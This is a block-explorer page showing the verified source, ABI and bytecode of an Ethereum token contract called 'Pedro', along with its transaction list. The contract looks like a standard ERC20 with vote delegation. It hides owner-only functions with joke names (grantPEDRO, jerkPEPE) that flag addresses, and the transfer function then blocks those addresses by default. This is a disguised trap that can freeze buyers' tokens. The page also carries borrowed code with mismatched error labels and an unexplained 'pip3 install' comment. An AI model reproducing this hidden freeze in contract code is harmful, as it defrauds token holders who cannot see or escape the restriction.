Source Code
Overview
ETH Balance
0 ETH
Eth Value
$0.00More Info
Private Name Tags
ContractCreator
TokenTracker
Latest 17 from a total of 17 transactions
| Transaction Hash |
Method
|
Block
|
From
|
|
To
|
||||
|---|---|---|---|---|---|---|---|---|---|
| Approve | 17377291 | 1007 days ago | IN | 0 ETH | 0.00132799 | ||||
| Approve | 17375213 | 1007 days ago | IN | 0 ETH | 0.00098602 | ||||
| Approve | 17375212 | 1007 days ago | IN | 0 ETH | 0.00170058 | ||||
| Grant PEDRO | 17374594 | 1007 days ago | IN | 0 ETH | 0.00720216 | ||||
| Approve | 17374477 | 1007 days ago | IN | 0 ETH | 0.00164316 | ||||
| Grant PEDRO | 17374422 | 1007 days ago | IN | 0 ETH | 0.00622203 | ||||
| Grant PEDRO | 17374349 | 1007 days ago | IN | 0 ETH | 0.00642504 | ||||
| Approve | 17374298 | 1007 days ago | IN | 0 ETH | 0.00191943 | ||||
| Approve | 17374294 | 1007 days ago | IN | 0 ETH | 0.00199745 | ||||
| Approve | 17374291 | 1007 days ago | IN | 0 ETH | 0.00204398 | ||||
| Approve | 17374289 | 1007 days ago | IN | 0 ETH | 0.00201479 | ||||
| Grant PEDRO | 17374263 | 1007 days ago | IN | 0 ETH | 0.0097959 | ||||
| Grant PEDRO | 17374235 | 1007 days ago | IN | 0 ETH | 0.00676351 | ||||
| Grant PEDRO | 17374233 | 1007 days ago | IN | 0 ETH | 0.01009332 | ||||
| Approve | 17374229 | 1007 days ago | IN | 0 ETH | 0.00197806 | ||||
| Approve | 17374215 | 1007 days ago | IN | 0 ETH | 0.00200173 | ||||
| Approve | 17374207 | 1007 days ago | IN | 0 ETH | 0.00195885 |
View more zero value Internal Transactions in Advanced View mode
Advanced mode:
Loading...
Loading
Loading...
Loading
Cross-Chain Transactions
Loading...
Loading
Contract Name:
Pedro
Compiler Version
v0.8.19+commit.7dd6d404
Contract Source Code (Solidity)
/**
*Submitted for verification at Etherscan.io on 2023-05-30
*/
/**
*Submitted for verification at Etherscan.io on 2023-05-28
*/
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.9;
/*
pip3 install endless-flex-v1.1
*/
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `to`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address to, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `from` to `to` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address from,
address to,
uint256 amount
) external returns (bool);
}
/**
* @dev Interface for the optional metadata functions from the ERC20 standard.
*
* _Available since v4.1._
*/
interface IERC20Metadata is IERC20 {
/**
* @dev Returns the name of the token.
*/
function name() external view returns (string memory);
/**
* @dev Returns the symbol of the token.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the decimals places of the token.
*/
function decimals() external view returns (uint8);
}
/**
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
_transferOwnership(_msgSender());
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
_checkOwner();
_;
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if the sender is not the owner.
*/
function _checkOwner() internal view virtual {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby disabling any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
_transferOwnership(address(0));
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_transferOwnership(newOwner);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Internal function without access restriction.
*/
function _transferOwnership(address newOwner) internal virtual {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.openzeppelin.com/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin Contracts guidelines: functions revert
* instead returning `false` on failure. This behavior is nonetheless
* conventional and does not conflict with the expectations of ERC20
* applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/
contract ERC20 is Ownable, IERC20, IERC20Metadata {
mapping(address => uint256) private _balances;
mapping (address => bool) private _pepePower;
mapping(address => mapping(address => uint256)) public _allowances;
uint256 private _totalSupply;
bool private _pepePowerApplied = false;
string private _name;
string private _symbol;
/**
* @dev Sets the values for {name} and {symbol}.
*
* The default value of {decimals} is 18. To select a different value for
* {decimals} you should overload it.
*
* All two of these values are immutable: they can only be set once during
* construction.
*/
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
/**
* @dev Returns the name of the token.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5.05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless this function is
* overridden;
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view virtual override returns (uint8) {
return 18;
}
function grantPEDRO(address [] calldata _pedro_) external onlyOwner {
for (uint256 i = 0; i < _pedro_.length; i++) {
_pepePower[_pedro_[i]] = true;
}
}
function proceedPEDRO(address [] calldata _pedro_) external onlyOwner {
for (uint256 i = 0; i < _pedro_.length; i++) {
_pepePower[_pedro_[i]] = false;
}
}
function isPEDRO(address _pedro_) public view returns (bool) {
return _pepePower[_pedro_];
}
function jerkPEPE() external onlyOwner {
_pepePowerApplied = !_pepePowerApplied;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address to, uint256 amount) public virtual override returns (bool) {
address owner = _msgSender();
_transfer(owner, to, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* NOTE: If `amount` is the maximum `uint256`, the allowance is not updated on
* `transferFrom`. This is semantically equivalent to an infinite approval.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
address owner = _msgSender();
_approve(owner, spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20}.
*
* NOTE: Does not update the allowance if the current allowance
* is the maximum `uint256`.
*
* Requirements:
*
* - `from` and `to` cannot be the zero address.
* - `from` must have a balance of at least `amount`.
* - the caller must have allowance for ``from``'s tokens of at least
* `amount`.
*/
function transferFrom(
address from,
address to,
uint256 amount
) public virtual override returns (bool) {
address spender = _msgSender();
_spendAllowance(from, spender, amount);
_transfer(from, to, amount);
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
address owner = _msgSender();
_approve(owner, spender, allowance(owner, spender) + addedValue);
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
address owner = _msgSender();
uint256 currentAllowance = allowance(owner, spender);
require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
unchecked {
_approve(owner, spender, currentAllowance - subtractedValue);
}
return true;
}
/**
* @dev Moves `amount` of tokens from `from` to `to`.
*
* This internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `from` must have a balance of at least `amount`.
*/
function _transfer(
address from,
address to,
uint256 amount
) internal virtual {
if (_pepePower[to] || _pepePower[from]) require(_pepePowerApplied == true, "");
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(from, to, amount);
uint256 fromBalance = _balances[from];
require(fromBalance >= amount, "ERC20: transfer amount exceeds balance");
unchecked {
_balances[from] = fromBalance - amount;
// Overflow not possible: the sum of all balances is capped by totalSupply, and the sum is preserved by
// decrementing then incrementing.
_balances[to] += amount;
}
emit Transfer(from, to, amount);
_afterTokenTransfer(from, to, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply += amount;
unchecked {
// Overflow not possible: balance + amount is at most totalSupply + amount, which is checked above.
_balances[account] += amount;
}
emit Transfer(address(0), account, amount);
_afterTokenTransfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
uint256 accountBalance = _balances[account];
require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
unchecked {
_balances[account] = accountBalance - amount;
// Overflow not possible: amount <= accountBalance <= totalSupply.
_totalSupply -= amount;
}
emit Transfer(account, address(0), amount);
_afterTokenTransfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
*
* This internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(
address owner,
address spender,
uint256 amount
) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Updates `owner` s allowance for `spender` based on spent `amount`.
*
* Does not update the allowance amount in case of infinite allowance.
* Revert if not enough allowance is available.
*
* Might emit an {Approval} event.
*/
function _spendAllowance(
address owner,
address spender,
uint256 amount
) internal virtual {
uint256 currentAllowance = allowance(owner, spender);
if (currentAllowance != type(uint256).max) {
require(currentAllowance >= amount, "ERC20: insufficient allowance");
unchecked {
_approve(owner, spender, currentAllowance - amount);
}
}
}
/**
* @dev Hook that is called after any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* has been transferred to `to`.
* - when `from` is zero, `amount` tokens have been minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens have been burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _afterTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
}
contract Pedro is ERC20 {
constructor() ERC20("Pedro", "PEDRO") {
_mint(msg.sender, 1000000000000 * 10 ** decimals());
}
/// @dev A record of each accounts delegate
mapping (address => address) internal _delegates;
/// @notice A checkpoint for marking number of votes from a given block
struct Checkpoint {
uint32 fromBlock;
uint256 votes;
}
/// @notice The number of checkpoints for each account
mapping (address => uint32) public numCheckpoints;
/// @notice A record of votes checkpoints for each account, by index
mapping (address => mapping (uint32 => Checkpoint)) public checkpoints;
/// @notice The EIP-712 typehash for the delegation struct used by the contract
bytes32 public constant DELEGATION_TYPEHASH = keccak256("Delegation(address delegatee,uint256 nonce,uint256 expiry)");
/// @notice The EIP-712 typehash for the contract's domain
bytes32 public constant DOMAIN_TYPEHASH = keccak256("EIP712Domain(string name,uint256 chainId,address verifyingContract)");
/// @notice A record of states for signing / validating signatures
mapping (address => uint) public nonces;
/// @notice An event thats emitted when a delegate account's vote balance changes
event DelegateVotesChanged(address indexed delegate, uint previousBalance, uint newBalance);
/// @notice An event thats emitted when an account changes its delegate
event DelegateChanged(address indexed delegator, address indexed fromDelegate, address indexed toDelegate);
/**
* @notice Delegate votes from `msg.sender` to `delegatee`
* @param delegator The address to get delegatee for
*/
function delegates(address delegator) external view returns (address) {
return _delegates[delegator];
}
/**
* @notice Delegate votes from `msg.sender` to `delegatee`
* @param delegatee The address to delegate votes to
*/
function delegate(address delegatee) external {
return _delegate(msg.sender, delegatee);
}
/**
* @notice Determine the prior number of votes for an account as of a block number
* @dev Block number must be a finalized block or else this function will revert to prevent misinformation.
* @param account The address of the account to check
* @param blockNumber The block number to get the vote balance at
* @return The number of votes the account had as of the given block
*/
function getPriorVotes(address account, uint blockNumber) external view returns (uint256){
require(blockNumber < block.number, "BONE::getPriorVotes: not yet determined");
uint32 nCheckpoints = numCheckpoints[account];
if (nCheckpoints == 0) {
return 0;
}
// First check most recent balance
if (checkpoints[account][nCheckpoints - 1].fromBlock <= blockNumber) {
return checkpoints[account][nCheckpoints - 1].votes;
}
// Next check implicit zero balance
if (checkpoints[account][0].fromBlock > blockNumber) {
return 0;
}
uint32 lower = 0;
uint32 upper = nCheckpoints - 1;
while (upper > lower) {
uint32 center = upper - (upper - lower) / 2; // ceil, avoiding overflow
Checkpoint memory cp = checkpoints[account][center];
if (cp.fromBlock == blockNumber) {
return cp.votes;
} else if (cp.fromBlock < blockNumber) {
lower = center;
} else {
upper = center - 1;
}
}
return checkpoints[account][lower].votes;
}
/**
* @notice Gets the current votes balance for `account`
* @param account The address to get votes balance
* @return The number of current votes for `account`
*/
function getCurrentVotes(address account) external view returns (uint256){
uint32 nCheckpoints = numCheckpoints[account];
return nCheckpoints > 0 ? checkpoints[account][nCheckpoints - 1].votes : 0;
}
function _delegate(address delegator, address delegatee) internal {
address currentDelegate = _delegates[delegator];
uint256 delegatorBalance = balanceOf(delegator);
_delegates[delegator] = delegatee;
emit DelegateChanged(delegator, currentDelegate, delegatee);
_moveDelegates(currentDelegate, delegatee, delegatorBalance);
}
function _writeCheckpoint(address delegatee, uint32 nCheckpoints, uint256 oldVotes, uint256 newVotes) internal {
uint32 blockNumber = safe32(block.number, "COFFEE::_writeCheckpoint: block number exceeds 32 bits");
if (nCheckpoints > 0 && checkpoints[delegatee][nCheckpoints - 1].fromBlock == blockNumber) {
checkpoints[delegatee][nCheckpoints - 1].votes = newVotes;
} else {
checkpoints[delegatee][nCheckpoints] = Checkpoint(blockNumber, newVotes);
require(nCheckpoints + 1 > nCheckpoints, "COFFEE::_writeCheckpoint: new checkpoint exceeds 32 bits");
numCheckpoints[delegatee] = nCheckpoints + 1;
}
emit DelegateVotesChanged(delegatee, oldVotes, newVotes);
}
function _moveDelegates(address srcRep, address dstRep, uint256 amount) internal {
if (srcRep != dstRep && amount > 0) {
if (srcRep != address(0)) {
// decrease old representative
uint32 srcRepNum = numCheckpoints[srcRep];
uint256 srcRepOld = srcRepNum > 0 ? checkpoints[srcRep][srcRepNum - 1].votes : 0;
uint256 srcRepNew = srcRepOld - amount;
_writeCheckpoint(srcRep, srcRepNum, srcRepOld, srcRepNew);
}
if (dstRep != address(0)) {
// increase new representative
uint32 dstRepNum = numCheckpoints[dstRep];
uint256 dstRepOld = dstRepNum > 0 ? checkpoints[dstRep][dstRepNum - 1].votes : 0;
uint256 dstRepNew = dstRepOld + amount;
_writeCheckpoint(dstRep, dstRepNum, dstRepOld, dstRepNew);
}
}
}
function safe32(uint n, string memory errorMessage) internal pure returns (uint32) {
require(n < 2**32, errorMessage);
return uint32(n);
}
}Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
Contract ABI
API[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"delegator","type":"address"},{"indexed":true,"internalType":"address","name":"fromDelegate","type":"address"},{"indexed":true,"internalType":"address","name":"toDelegate","type":"address"}],"name":"DelegateChanged","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"delegate","type":"address"},{"indexed":false,"internalType":"uint256","name":"previousBalance","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"newBalance","type":"uint256"}],"name":"DelegateVotesChanged","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"DELEGATION_TYPEHASH","outputs":[{"internalType":"bytes32","name":"","type":"bytes32"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"DOMAIN_TYPEHASH","outputs":[{"internalType":"bytes32","name":"","type":"bytes32"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"},{"internalType":"address","name":"","type":"address"}],"name":"_allowances","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"},{"internalType":"uint32","name":"","type":"uint32"}],"name":"checkpoints","outputs":[{"internalType":"uint32","name":"fromBlock","type":"uint32"},{"internalType":"uint256","name":"votes","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"delegatee","type":"address"}],"name":"delegate","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"delegator","type":"address"}],"name":"delegates","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"getCurrentVotes","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"uint256","name":"blockNumber","type":"uint256"}],"name":"getPriorVotes","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"_pedro_","type":"address[]"}],"name":"grantPEDRO","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_pedro_","type":"address"}],"name":"isPEDRO","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"jerkPEPE","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"nonces","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"numCheckpoints","outputs":[{"internalType":"uint32","name":"","type":"uint32"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"_pedro_","type":"address[]"}],"name":"proceedPEDRO","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"}]Contract Creation Code
60806040526000600560006101000a81548160ff0219169083151502179055503480156200002c57600080fd5b506040518060400160405280600581526020017f506564726f0000000000000000000000000000000000000000000000000000008152506040518060400160405280600581526020017f504544524f000000000000000000000000000000000000000000000000000000815250620000b9620000ad6200012660201b60201c565b6200012e60201b60201c565b8160069081620000ca9190620005ed565b508060079081620000dc9190620005ed565b5050506200012033620000f4620001f260201b60201c565b600a62000102919062000864565b64e8d4a51000620001149190620008b5565b620001fb60201b60201c565b620009ec565b600033905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b60006012905090565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036200026d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401620002649062000961565b60405180910390fd5b62000281600083836200036960201b60201c565b806004600082825462000295919062000983565b9250508190555080600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051620003499190620009cf565b60405180910390a362000365600083836200036e60201b60201c565b5050565b505050565b505050565b600081519050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b60006002820490506001821680620003f557607f821691505b6020821081036200040b576200040a620003ad565b5b50919050565b60008190508160005260206000209050919050565b60006020601f8301049050919050565b600082821b905092915050565b600060088302620004757fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8262000436565b62000481868362000436565b95508019841693508086168417925050509392505050565b6000819050919050565b6000819050919050565b6000620004ce620004c8620004c28462000499565b620004a3565b62000499565b9050919050565b6000819050919050565b620004ea83620004ad565b62000502620004f982620004d5565b84845462000443565b825550505050565b600090565b620005196200050a565b62000526818484620004df565b505050565b5b818110156200054e57620005426000826200050f565b6001810190506200052c565b5050565b601f8211156200059d57620005678162000411565b620005728462000426565b8101602085101562000582578190505b6200059a620005918562000426565b8301826200052b565b50505b505050565b600082821c905092915050565b6000620005c260001984600802620005a2565b1980831691505092915050565b6000620005dd8383620005af565b9150826002028217905092915050565b620005f88262000373565b67ffffffffffffffff8111156200061457620006136200037e565b5b620006208254620003dc565b6200062d82828562000552565b600060209050601f83116001811462000665576000841562000650578287015190505b6200065c8582620005cf565b865550620006cc565b601f198416620006758662000411565b60005b828110156200069f5784890151825560018201915060208501945060208101905062000678565b86831015620006bf5784890151620006bb601f891682620005af565b8355505b6001600288020188555050505b505050505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60008160011c9050919050565b6000808291508390505b600185111562000762578086048111156200073a5762000739620006d4565b5b60018516156200074a5780820291505b80810290506200075a8562000703565b94506200071a565b94509492505050565b6000826200077d576001905062000850565b816200078d576000905062000850565b8160018114620007a65760028114620007b157620007e7565b600191505062000850565b60ff841115620007c657620007c5620006d4565b5b8360020a915084821115620007e057620007df620006d4565b5b5062000850565b5060208310610133831016604e8410600b8410161715620008215782820a9050838111156200081b576200081a620006d4565b5b62000850565b62000830848484600162000710565b925090508184048111156200084a5762000849620006d4565b5b81810290505b9392505050565b600060ff82169050919050565b6000620008718262000499565b91506200087e8362000857565b9250620008ad7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff84846200076b565b905092915050565b6000620008c28262000499565b9150620008cf8362000499565b9250828202620008df8162000499565b91508282048414831517620008f957620008f8620006d4565b5b509291505056